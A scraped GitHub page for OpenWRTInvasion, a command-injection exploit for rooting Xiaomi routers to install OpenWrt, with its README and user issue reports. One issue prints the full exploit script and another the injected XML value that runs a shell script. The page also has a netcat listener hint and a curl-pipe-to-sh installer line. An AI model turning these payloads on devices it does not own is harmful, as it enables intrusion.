Git Product home page Git Product logo

openwrtinvasion's Introduction

Root shell exploit for several Xiaomi routers: 4A Gigabit, 4A 100M, 4C, 3Gv2, 4Q, miWifi 3C...

How to run

NOTE: FROM VERSION 0.0.2 THE ROUTER NEEDS INTERNET ACCESS. If you require to run the exploit without internet access please try version 0.0.1. Find the versions here: https://github.com/acecilia/OpenWRTInvasion/releases

NOTE: THERE ARE REPORTED ISSUES WITH ROUTER IN AP MODE. If you're not able to succeed in the AP mode, try to switch to some other (WiFi Repeater or Gateway)

NOTE: THERE ARE COMPATIBILITY ISSUES REPORTED WHEN USING WINDOWS. This script only runs on Mac or Linux. If you run from Windows, please use docker (explained below)

Using Docker (also works on Windows)

docker build -t openwrtinvasion https://github.com/acecilia/OpenWRTInvasion.git
docker run --network host -it openwrtinvasion

Using the command line

pip3 install -r requirements.txt # Install requirements
python3 remote_command_execution_vulnerability.py # Run the script

You will be asked for the router IP address and for the stok. You can grab the stok from the router URL after you log in to the admin interface:

Note that the script must be run from the same IP address used when login into the router.

After that, a telnet server will be up and running. You can connect to it by running:

telnet <router_ip_address>
  • User: root
  • Password: root

The script also starts an ftp server at port 21, so you can get access to the filesystem using a GUI (for example cyberduck).

Supported routers and firmware versions

Unsupported routers and firmware versions

  • MiRouter 4A Gigabit:
    • 2.30.20: see details here
    • 3.2.26: see details and alternatives here
  • Mi Extender AC1200 (RA75): see here

Xiaomi 4A Gigabit Global Edition

Find here a very complete introductory video to the router and the OpenWrt installation

Firmwares

This repository contains the following firmwares:

If you have a pending update in your Xiaomi stock firmware, you can check its md5 hash and the download url by navigating to:

http://192.168.31.1/cgi-bin/luci/;stok=<stok>/api/xqsystem/check_rom_update

Install OpenWrt

When installing OpenWrt on the Xiaomi 4A Gigabit, there are several options:

  • [PREFERRED OPTION]: use the latest supported stable release of OpenWrt. Find it in the official OpenWrt wiki page

  • Build your own image with imagebuilder, using the latest source code on master:

    docker pull openwrtorg/imagebuilder:ramips-mt7621-master
    docker run --rm -v "$(pwd)"/bin/:/home/build/openwrt/bin -it openwrtorg/imagebuilder:ramips-mt7621-master
    make PROFILE=xiaomi_mir3g-v2 image
    

If after reading above text you still want to proceed, after login to the router through telnet run the following commands:

cd /tmp
curl https://raw.githubusercontent.com/acecilia/OpenWRTInvasion/master/firmwares/OpenWrt/06-06-2020/openwrt-ramips-mt7621-xiaomi_mir3g-v2-squashfs-sysupgrade.bin --output firmware.bin # Put here the URL you want to use to download the firmware
./busybox sha256sum firmware.bin # Verify the firmware checksum before flashing, very important to avoid bricking your device!
mtd -e OS1 -r write firmware.bin OS1 # Install OpenWrt

This will install the snapshot version of OpenWrt (without Luci). You can now use ssh to connect to the router (and install Luci if you prefer it).

Performance:

Please see here for a complete performance analysis

For more info and support go to:

If you brick your device

You can find solutions in the following links:

Acknowledgments

  • Original vulnerabilities and exploit: UltramanGaia
  • Instructions to install OpenWrt after exploit execution: rogerpueyo
  • Testing and detailed install instructions: hey07
  • Checking the URL of pending updates: sicklesareterrible

Demo

Version 0.0.2 and higher: telnet

Alt Text

Version 0.0.1: netcat (legacy)

Alt Text

openwrtinvasion's People

Contributors

acecilia avatar animeavi avatar bugc0der avatar felipecrs avatar forsari0 avatar fra-iesus avatar hoddy avatar jcrsilva avatar jstok84 avatar liyishuai avatar luojunqiang avatar nevinskas avatar pedro-nonfree avatar rafacouto avatar symm avatar tangmingxing1988 avatar ultramangaia avatar unreturned avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

openwrtinvasion's Issues

Nothing Starts After Running The Script

Nothing happens after step 2.

`Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Windows\system32> cd d:/1
PS D:\1> pip3 install -r requirements.txt # Install requirements
Requirement already satisfied: pycrypto in c:\program files\python39\lib\site-packages\pycrypto-2.6.1-py3.9-win-amd64.egg (from -r requirements.txt (line 1)) (2.6.1)
PS D:\1> python3 remote_command_execution_vulnerability.py # Run the script
PS D:\1>`

No work

Hello

Mi Router 4A Giga Version | MiWiFi Release 2.28.132

  1. git clone
  2. python3 remote_command_execution_vulnerability.py
Router IP address: 192.168.31.1
stok: 123123123
****************
router_ip_address: 192.168.31.1
stok: 123123123
****************
start uploading config file...
start exec command...
done! Now you can connect to the router using telnet (user: root, password: none)
In MacOS, execute in the terminal:
telnet 192.168.31.1
  1. telnet 192.168.31.1
telnet: connect to address 192.168.31.1: Connection refused

debug:
http://192.168.31.1:8383/cgi-bin/luci/;stok=760b034592dddbc94939fa45868621eb/api

{"dev":[{"mac":"*************","maxdownloadspeed":"0","upload":"15032","upspeed":"0","downspeed":"0","online":"1529","devname":"nb","maxuploadspeed":"460","download":"0"}],"code":0,"mem":{"usage":0.35,"total":"128MB","hz":"1200MHz","type":"DDR3"},"temperature":0,"count":{"all":1,"online":1},"hardware":{"mac":"**************","platform":"R4A","version":"2.28.132","channel":"release","sn":"23319/20032427"},"upTime":"1562.49","cpu":{"core":4,"hz":"880MHz","load":0.0065},"wan":{"downspeed":"0","maxdownloadspeed":"0","history":"0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0","devname":"eth1","upload":"2932","upspeed":"0","maxuploadspeed":"0","download":"0"}}
python3 remote_command_execution_vulnerability.py
Router IP address: 192.168.31.1
stok: 760b034592dddbc94939fa45868621eb
<?xml version="1.0"?>
<root>
        <class type="1">
                <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
                <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
                <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
                <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
                <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
                <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
                <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
                <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
                <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
                <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
                <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
                <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
                <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
                <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
        </class>
        <class type="2">
                <item url="http://192.168.31.1 -q -O /dev/null;((sh /tmp/script.sh exploit) &);exit;wget http://192.168.31.1 "/>
        </class>
        <class type="3">
                <item uploadurl="http://www.taobao.com/"/>
                <item uploadurl="http://www.so.com/"/>
                <item uploadurl="http://www.qq.com/"/>
                <item uploadurl="http://www.sohu.com/"/>
                <item uploadurl="http://www.tudou.com/"/>
                <item uploadurl="http://www.360doc.com/"/>
                <item uploadurl="http://www.kankan.com/"/>
                <item uploadurl="http://www.speedtest.cn/"/>
        </class>
</root>

****************
router_ip_address: 192.168.31.1
stok: 760b034592dddbc94939fa45868621eb
****************
start uploading config file...
{"code":401,"msg":"Invalid token"}
start exec command...
{"code":401,"msg":"Invalid token"}
done! Now you can connect to the router using telnet (user: root, password: none)
In MacOS, execute in the terminal:
telnet 192.168.31.1

Router cant uncompress files

When it uploaded config files (payload.tar.gz), it said "code":"1629:, msg is Error uncompressingm, the fies may damaged.
image

code 1629

{"code":1629,"msg":"解压失败,可能文件已经损坏"}

I'm one of the first users of this method, but I only used the "telnet" method, without flashing OpenWrt firmware.
The "telnet" worked well until approximately May 1st, before I installed the Aria2 Ngrok on MIXBOX. Before the day, I only had ShadowSocks on MIXBOX, and it worked well.

Finding the "telnet" method in unaccessible, I reset the official firmware 2.28.62. But can't use "telnet" still. Then I started to look into the "remote_command_execution_vulnerability.py" and its dependencies, then made some debug prints, as is shown in attachment.

I personally think the reason for the first-broken-down is low ROM in 4A-Gibit. It can't install too many plugins. And a completely erase in memory may help, but I don't know how......

I really appreciate it if someone can help me restore "telnet".

First run on win 10. Bug appeared and tried ubuntu 20.04LTS, both failed with {"code":1629,"msg":"解压失败,可能文件已经损坏"}



Besides, I found it unnecessary to flash OpenWrt firmware if you only want the very SSR.
I installed MIXBOX on my 4A-Gibit using "telnet" command line

sh -c "$(curl -kfsSl https://monlor.coding.net/p/mbfiles/d/mbfiles/git/lfs/master/install.sh)" && source /etc/profile &> /dev/null

MIXBOX is really easy to handle, and most importantly, it will never get your router bricked.



Attachment:
remote_command_execution_vulnerability.py

#!/usr/bin/python
# There is a remote command execution vulnerability in Xiaomi Mi WiFi R3G before version stable 2.28.23. 
# The backup file is in tar.gz format. After uploading, the application uses the tar zxf command to decompress, 
# so you can control the contents of the files in the decompressed directory. 
# In addition, the application's sh script for testing upload and download speeds will read the url list from /tmp/speedtest_urls.xml, 
# and there is a command injection vulnerability.

# discoverer: UltramanGaia from Kap0k & Zhiniang Peng from Qihoo 360 Core Security

# HOW TO RUN
# Install requirements
# pip3 install -r requirements.txt
# Run the script
# python3 remote_command_execution_vulnerability.py

import os
import shutil
import tarfile
import requests

router_ip_address = input("Router IP address: ")
# router_ip_address = "192.168.0.21"

# get stok
stok = input("stok: ")
# stok = "eeb59f33a51cd46649cd4ad1e3f50ecf"

# From https://blog.securityevaluators.com/show-mi-the-vulns-exploiting-command-injection-in-mi-router-3-55c6bcb48f09
# In the attacking machine (macos), run the following before executing this script: /usr/bin/nc -l 4444
command="((sh /tmp/script.sh exploit) &)"

# proxies = {"http":"http://127.0.0.1:8080"}
proxies = {}

if os.path.exists("build"):
    shutil.rmtree("build")
else:
	print('no build')
os.makedirs("build")

## make config file
speed_test_filename = "speedtest_urls.xml"
with open("speedtest_urls_template.xml","rt",encoding='utf-8') as f:
	template = f.read()
data = template.format(router_ip_address=router_ip_address, command=command)
print(data)

with open("build/speedtest_urls.xml",'wt',encoding='utf-8') as f:
	f.write(data)
	print('write')



# Make tar
with tarfile.open("build/payload.tar.gz", "w:gz",encoding='utf-8') as tar:
	tar.add("build/speedtest_urls.xml", "speedtest_urls.xml")
	tar.add("script.sh")
	print('taring')

	# tar.add("busybox")
	# tar.add("extras/wget")
	# tar.add("extras/xiaoqiang")

## upload config file
print("start uploading config file...")
r1 = requests.post("http://{}/cgi-bin/luci/;stok={}/api/misystem/c_upload".format(router_ip_address, stok), files={"image":open("build/payload.tar.gz",'rb')}, proxies=proxies)
print(r1.text)

# ## exec download speed test, exec command
# print("start exec command...")
# r2 = requests.get("http://{}/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed".format(router_ip_address, stok), proxies=proxies)
# # print(r2.text)

# print("done! Now you can connect to the router using telnet (user: root, password: none)")
# print("In MacOS, execute in the terminal:")
# print("telnet {}".format(router_ip_address))

Xiaomi 4A Gigabit cannot telnet.

python3 remote_command_execution_vulnerability.py
Router IP address [press enter for using the default 192.168.31.1]:
stok: correct_stok
****************
router_ip_address: 192.168.31.1
stok: correct_stok
****************
start uploading config file...
start exec command...
done! Now you can connect to the router using several options: (user: root, password: root)
* telnet 192.168.31.1
* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc -o UserKnownHostsFile=/dev/null [email protected]
* ftp: using a program like cyberduck

After runing the exploit script, I still cannot tenet to my Mi Router.

telnet 192.168.31.1
Trying 192.168.31.1...
telnet: connect to address 192.168.31.1: Connection refused
telnet: Unable to connect to remote host

Use ssh tool install luci, can't connect network.

when I run opkg update, looks like can't connect network
it show me Faild to download the packege list ...
check your network settings and connectivity
image

And when I ping some host like www.baidu.com
it show me bad address.
image

Here is my wan config:
image

Can you help me where I am wrong?

xiaomi r3gv2 report errors

python remote_command_execution_vulnerability.py
After executing the command
Traceback (most recent call last):
File "remote_command_execution_vulnerability.py", line 42, in
template = f.read()
UnicodeDecodeError: 'gbk' codec can't decode byte 0xbf in position 2: illegal multibyte sequence

Trying root Mi Router 4 (R4)

I tried to root the R4 version, but was unsuccesfull with 2.26.175 firmare version.

miwifi_r4_firmware_8ed47_2.26.175.bin
https://mirom.ezbox.idv.tw/en/miwifi/R4/

root@controller:/ins/OpenWRTInvasion# python3 remote_command_execution_vulnerability.py
Router IP address [press enter for using the default 192.168.31.1]: 192.168.0.6
stok: a***************************d
****************
router_ip_address: 192.168.0.6
stok: a****************************
****************
start uploading config file...
start exec command...
done! Now you can connect to the router using several options: (user: root, password: root)
* telnet 192.168.0.6
* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc -o UserKnownHostsFile=/dev/null [email protected]
* ftp: using a program like cyberduck
root@controller:/ins/OpenWRTInvasion# telnet 192.168.0.6
Trying 192.168.0.6...
telnet: Unable to connect to remote host: Connection refused

Any clues?

小米路由器4A(R4AC) telnet failed

$ python3 remote_command_execution_vulnerability.py
Router IP address: 192.168.31.1
stok: 81e489d7b43a55ac0b68eade423f3034


router_ip_address: 192.168.31.1
stok: 81e489d7b43a55ac0b68eade423f3034


start uploading config file...
start exec command...
done! Now you can connect to the router using telnet (user: root, password: none)
In MacOS, execute in the terminal:
telnet 192.168.31.1

$ telnet 192.168.31.1
Trying 192.168.31.1...
telnet: Unable to connect to remote host: Connection refused

$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:79:be:d5 brd ff:ff:ff:ff:ff:ff
inet 192.168.31.222/24 brd 192.168.31.255 scope global noprefixroute enp0s3
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fe79:bed5/64 scope link
valid_lft forever preferred_lft forever
3: enp0s8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:41:db:0f brd ff:ff:ff:ff:ff:ff

Failed to decompress. The file may be damaged

  1. In the beginning of file "speedtest_urls_template.xml" there have extra 3bit(BOM FLAG), this will result in a fatal error(decode error) in windows 10 system.
  2. After erase the BOM flag, and uncomm this line, I got an error: {"code":1629,"msg":"解压失败,可能文件已经损坏"}

can you help me? Thanks in advance.

an UnicodeEncodeError on my environment

Traceback (most recent call last):
File "remote_command_execution_vulnerability.py", line 42, in
template = f.read()
UnicodeDecodeError: 'gbk' codec can't decode byte 0xbf in position 2: illegal multibyte sequence

Traceback (most recent call last):
File "remote_command_execution_vulnerability.py", line 46, in
f.write(data)
UnicodeEncodeError: 'gbk' codec can't encode character '\ufeff' in position 0: illegal multibyte sequence

and i add encoding='UTF-8' to open(), it works

speed_test_filename = "speedtest_urls.xml"
with open("speedtest_urls_template.xml", "rt", encoding='UTF-8') as f:
template = f.read()
data = template.format(router_ip_address=router_ip_address, command=command)
with open("build/speedtest_urls.xml", 'wt', encoding='UTF-8') as f:
f.write(data)

Everything seems working, but I can't access Telnet / FTP / SSH

Hi ! Thank you for your hard work.

I just bought a Mi Router A4 100M (Model R4AC).

I applied your script to it, everything went well, the script said "done !", but I was still unable to connect to Telnet / FTP / SSH.
Then I noticed the 3.0.5 firmware was installed on the router.

The readme says that some people managed to get it working using 2.18.58 , so I successfully downgraded to 2.18.58.
The interface is now in chinese, but that's not a problem for me.

So I applied again the script, it said "done !" but still no access. Telnet and FTP don't ask for any credentials, they just say "Connection refused".

Because I launched the script from Windows I installed Ubuntu on a computer, followed step by step this tutorial : https://www.youtube.com/watch?v=VxzEvdDWU_s but still no luck.

Can you guess what I'm doing wrong ? Is there something I can do to help you help me ?

The router is connected to Internet, computers plugged on it can navigate the web.

Can´t upload

We received this response

start uploading config file...

{"code":1629,"msg":"解压失败,可能文件已经损坏"}

download fail

Anybody encounter downloading problem when using command git clone https://github.com/acecilia/OpenWRTInvasion.git to get the package?

my error message is:

error: RPC failed; curl 18 transfer closed with outstanding read data remaining
fatal: The remote end hung up unexpectedly
fatal: early EOF
fatal: index-pack failed

It looks like one of the large file is corrupt on server. I tried it many times, never success in downloading this Invasion package.

Exploit fixed in 2.28.65

Hey, I can confirm this was fixed in very recent (2021 purchase) versions of the 4AGiga, the API to run netspeeed test no longer executes incorrect URL as shell commands and just returns default zero values (it did the same before but also would execute commands).

Add a note to main page, cheers!

vulnerability had been fixed

version:
小米路由器4A千兆版(R4A) | MiWiFi 稳定版 2.28.65 |

response:


No page is registered at '/web/home/api/misystem/c_upload'.
If this url belongs to an extension, make sure it is properly installed.
If the extension was recently installed, try removing the /tmp/luci-indexcache file.

图片

Can't use telnet to write.

Hi, it looks like can't use telnet with windows to 4a Gigabit. Why? Do I need use linux to try? and the python3 is required?

tested on the AC2350 AIOT

Unfortunately this did not work on the AC2350 AIOT https://www.mi.com/global/mi-aiot-router-ac2350/

prime@ubuntu:/tmp/OpenWRTInvasion$ python3 remote_command_execution_vulnerability.py
Router IP address [press enter for using the default 192.168.31.1]: 192.168.1.131
stok: XXXXX
****************
router_ip_address: 192.168.1.131
stok: XXXXX
****************
start uploading config file...
start exec command...
done! Now you can connect to the router using several options: (user: root, password: root)
* telnet 192.168.1.131
* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc -o UserKnownHostsFile=/dev/null [email protected]
* ftp: using a program like cyberduck
prime@ubuntu:/tmp/OpenWRTInvasion$ telnet 192.168.1.131
Trying 192.168.1.131...
telnet: Unable to connect to remote host: Connection refused
prime@ubuntu:/tmp/OpenWRTInvasion$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc -o UserKnownHostsFile=/dev/null [email protected]
ssh: connect to host 192.168.1.131 port 22: Connection refused
prime@ubuntu:/tmp/OpenWRTInvasion$

Telnet Connection Refused - Mi 4A 100mbps

Hi, I'm unable to open a telnet connection to my Xiaomi Mi A4 100mbps router.

I upgraded the firmware to a supported version: 2.18.51

I am running the exploit from a raspberry pi and I also have the GUI of the router open in that same raspberry. I read somewhere it would not work if the "stok" code wasn't from the computer/session doing the exploit.

I also tried to exploit it using the WAN port and the LAN port, did a reboot between retries and tested with fresh stok codes without success.

Any ideas or alternative methods? I have ordered a bios flasher but it will take more than a month to arrive and I would really like to use this exploit.

Thanks

2020-10-31 01_11_12-Window

Openvpn-Openssl Package

Hi,

I want to install Openvpn-Openssl but i get Kernel: Version Incompatible.
(I am attaching you image)

Is anywhere for this version of Kernel or i have to wait for an update?
f6edfddf1bdf28c741793e3ff76280af353f5691_2_666x500
Regards

ac2100

root@ubuntu:~/OpenWRTInvasion-master# python3 remote_command_execution_vulnerability.py
Router IP address: 192.168.31.1
stok: d6aad3bd00d6ef3b7d7d82f9b0800ad6


router_ip_address: 192.168.31.1
stok: d6aad3bd00d6ef3b7d7d82f9b0800ad6


start uploading config file...
start exec command...
done! Now you can connect to the router using telnet (user: root, password: none)
In MacOS, execute in the terminal:
telnet 192.168.31.1
root@ubuntu:~/OpenWRTInvasion-master#

i can not telnet to ac2100
ac2100 no telnet server

Not work on my 4A giga 2.28.132

a lot of try but not work.

  • need to use in router mode ?
  • need internet ?
  • how to make it work offline?

maybe pi-hole block something. example eu.api.miwifi.com

telnet connection refused.

try version 0.0.1 netcat show nothing.

Exploit works with Xiaomi Mi R3P

I have tested exploit v0.0.1 on Xiaomi Dev firmware for this router, I managed to get shell access.
Opening a case is not needed.

How to install on mi wifi 4c

Hey,

I the telnet exploit worked after that i followed along and run the curl and other commands it turned off and never turn on, how do i repair it ?

Login Incorrect

Can't login using root and blank password. Is there any remedy?

File upload returns this: {"code":1629,"msg":"解压失败,可能文件已经损坏"} which somewhat translates to "Decompression failed, the file may be damaged"

Screenshot 2020-03-29 at 8 21 51 PM

Instruction on windows or ubuntu

/usr/bin/nc - l 4444
Is use on macos
But many people use windows or linux,that command is not work on
Because I use Xiaomi 4Q ,I only can use v0.0.1

Can't opkg update after install / Connectivity issues

I've just installed the OpenWrt/06-06-2020 snapshot in a Xiaomi Router 4A Gigabit edition. The installation seems to complete OK, and I connected the Xiaomi router to my Asus main router, but I can only SSH into the Xiaomi router directly through a cable, not through other computers on the network. Also, once I've ssh'd into it , I can ping, for example, 8.8.8.8, but I can't use opkg to update or to install luci. I get these errors:

Downloading http://downloads.openwrt.org/snapshots/targets/ramips/mt7621/packages/Packages.gz
Failed to establish connection
*** Failed to download the package list from http://downloads.openwrt.org/snapshots/targets/ramips/mt7621/packages/Packages.gz

Note: I had to uci set network.wan.dns="1.1.1.1" to be able to have connectivity on the laptop that is directly connected to the Xiaomi router. For some reason the Xiaomi router didn't get the dns from the main router. And, despite having Internet connection on the laptop connected to the Xiaomi, I can't update/install luci on the Xiaomi from ssh.

a lot errors when run pip3 install -r requirements.txt on my macOS 10.15.7

Last login: Mon Sep 28 03:29:02 on console
riovo@Rs-MacBook-Pro ~ % python3
Python 3.8.2 (default, Aug 25 2020, 09:23:57)
[Clang 12.0.0 (clang-1200.0.32.2)] on darwin
Type "help", "copyright", "credits" or "license" for more information.

KeyboardInterrupt

^D
riovo@Rs-MacBook-Pro ~ % pip3 --version
pip 19.2.3 from /Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/site-packages/pip (python 3.8)
riovo@Rs-MacBook-Pro ~ % telnet
telnet> %
riovo@Rs-MacBook-Pro ~ % cd Desktop/OpenWRTInvasion
riovo@Rs-MacBook-Pro OpenWRTInvasion % pwd
/Users/riovo/Desktop/OpenWRTInvasion
riovo@Rs-MacBook-Pro OpenWRTInvasion % ls -all
total 104
drwxr-xr-x@ 15 riovo staff 480 Sep 28 02:18 .
drwx------@ 6 riovo staff 192 Sep 28 03:00 ..
-rw-r--r--@ 1 riovo staff 8196 Sep 28 02:30 .DS_Store
drwxr-xr-x@ 12 riovo staff 384 Sep 28 02:17 .git
-rw-r--r-- 1 riovo staff 7 Sep 28 02:16 .gitignore
-rw-r--r--@ 1 riovo staff 8575 Sep 28 02:16 README.md
drwxr-xr-x@ 6 riovo staff 192 Sep 28 02:17 extras
drwxr-xr-x@ 4 riovo staff 128 Sep 28 02:17 firmwares
drwxr-xr-x@ 5 riovo staff 160 Sep 28 02:16 readme
-rw-r--r--@ 1 riovo staff 290 Sep 28 02:18 readme-roy.txt
-rw-r--r--@ 1 riovo staff 2852 Sep 28 02:16 remote_command_execution_vulnerability.py
-rw-r--r--@ 1 riovo staff 18 Sep 28 02:16 requirements.txt
-rw-r--r--@ 1 riovo staff 1996 Sep 28 02:16 script.sh
-rw-r--r--@ 1 riovo staff 838 Sep 28 02:16 set_english.py
-rw-r--r--@ 1 riovo staff 1856 Sep 28 02:16 speedtest_urls_template.xml
riovo@Rs-MacBook-Pro OpenWRTInvasion % pip3 install -r requirements.txt
Collecting pycrypto (from -r requirements.txt (line 1))
Using cached https://files.pythonhosted.org/packages/60/db/645aa9af249f059cc3a368b118de33889219e0362141e75d4eaf6f80f163/pycrypto-2.6.1.tar.gz
Collecting requests (from -r requirements.txt (line 2))
Using cached https://files.pythonhosted.org/packages/45/1e/0c169c6a5381e241ba7404532c16a21d86ab872c9bed8bdcd4c423954103/requests-2.24.0-py2.py3-none-any.whl
Collecting certifi>=2017.4.17 (from requests->-r requirements.txt (line 2))
Using cached https://files.pythonhosted.org/packages/5e/c4/6c4fe722df5343c33226f0b4e0bb042e4dc13483228b4718baf286f86d87/certifi-2020.6.20-py2.py3-none-any.whl
Collecting urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 (from requests->-r requirements.txt (line 2))
Using cached https://files.pythonhosted.org/packages/9f/f0/a391d1463ebb1b233795cabfc0ef38d3db4442339de68f847026199e69d7/urllib3-1.25.10-py2.py3-none-any.whl
Collecting idna<3,>=2.5 (from requests->-r requirements.txt (line 2))
Using cached https://files.pythonhosted.org/packages/a2/38/928ddce2273eaa564f6f50de919327bf3a00f091b5baba8dfa9460f3a8a8/idna-2.10-py2.py3-none-any.whl
Collecting chardet<4,>=3.0.2 (from requests->-r requirements.txt (line 2))
Using cached https://files.pythonhosted.org/packages/bc/a9/01ffebfb562e4274b6487b4bb1ddec7ca55ec7510b22e4c51f14098443b8/chardet-3.0.4-py2.py3-none-any.whl
Building wheels for collected packages: pycrypto
Building wheel for pycrypto (setup.py) ... error
ERROR: Command errored out with exit status 1:
command: /Library/Developer/CommandLineTools/usr/bin/python3 -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/xd/c1h_3xmj12q08slfnzr9v8fr0000gn/T/pip-install-p9qp1zro/pycrypto/setup.py'"'"'; file='"'"'/private/var/folders/xd/c1h_3xmj12q08slfnzr9v8fr0000gn/T/pip-install-p9qp1zro/pycrypto/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(file);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, file, '"'"'exec'"'"'))' bdist_wheel -d /private/var/folders/xd/c1h_3xmj12q08slfnzr9v8fr0000gn/T/pip-wheel-beiq7txo --python-tag cp38
cwd: /private/var/folders/xd/c1h_3xmj12q08slfnzr9v8fr0000gn/T/pip-install-p9qp1zro/pycrypto/
Complete output (299 lines):
running bdist_wheel
running build
running build_py
creating build
creating build/lib.macosx-10.14.6-x86_64-3.8
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto
copying lib/Crypto/pct_warnings.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto
copying lib/Crypto/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/MD2.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/SHA512.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/SHA384.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/SHA256.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/hashalgo.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/SHA.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/SHA224.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/MD4.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/HMAC.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/MD5.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/RIPEMD.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/CAST.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/ARC4.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/AES.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/PKCS1_v1_5.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/DES3.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/XOR.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/Blowfish.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/ARC2.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
